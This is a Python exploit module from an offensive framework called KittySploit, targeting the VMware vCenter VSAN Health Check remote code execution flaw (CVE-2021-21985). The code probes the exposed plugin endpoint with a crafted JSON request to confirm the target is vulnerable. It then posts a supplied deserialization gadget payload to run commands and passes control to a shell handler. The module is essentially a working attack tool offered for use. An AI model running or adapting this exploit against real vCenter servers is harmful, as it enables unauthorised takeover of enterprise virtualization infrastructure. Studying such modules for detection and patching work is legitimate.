VMware vCenter VSAN RCE (CVE-2021-21985)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""VMware vCenter VSAN Health Check RCE (CVE-2021-21985)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'VMware vCenter VSAN RCE (CVE-2021-21985)',
        'description': (
            'Exploits CVE-2021-21985 in VMware vCenter: unauthenticated RCE via the VSAN '
            'Health Check plugin JSON API (Virtual SAN Health Check).'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-21985'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-21985'],
        'tags': ['vmware', 'vcenter', 'vsan', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_21985_detect']},
        },
    }

    vsan_path = OptString(
        '/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData',
        'VSAN plugin endpoint',
        required=False,
        advanced=True,
    )
    gadget_payload = OptString('', 'Optional serialized gadget JSON fragment', required=False, advanced=True)

    def check(self):
        path = str(self.vsan_path or '').strip()
        r = self.http_request(
            method='POST',
            path=path,
            data='{"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}',
            headers={'Content-Type': 'application/json', 'Accept': '*/*'},
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and '{"result":{"isDisconnected":' in body:
            return {'vulnerable': True, 'reason': 'VSAN Health Check API exposed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'VSAN endpoint not reachable', 'confidence': 'medium'}

    def execute(self, cmd: str) -> str:
        path = str(self.vsan_path or '').strip()
        gadget = str(self.gadget_payload or '').strip()
        if not gadget:
            return ''
        data = f'{{"methodInput":[{gadget}]}}'
        r = self.http_request(
            method='POST',
            path=path,
            data=data,
            headers={'Content-Type': 'application/json', 'Accept': '*/*'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.gadget_payload:
            print_warning('Set gadget_payload for deserialization chain (see alt3kx PoC)')
            self.vulnerable()
            return True
        body = self.execute('')
        if re.search(r'uid=\d+|Exception', body or '', re.I):
            return self.handler_execute()
        self.vulnerable()
        return True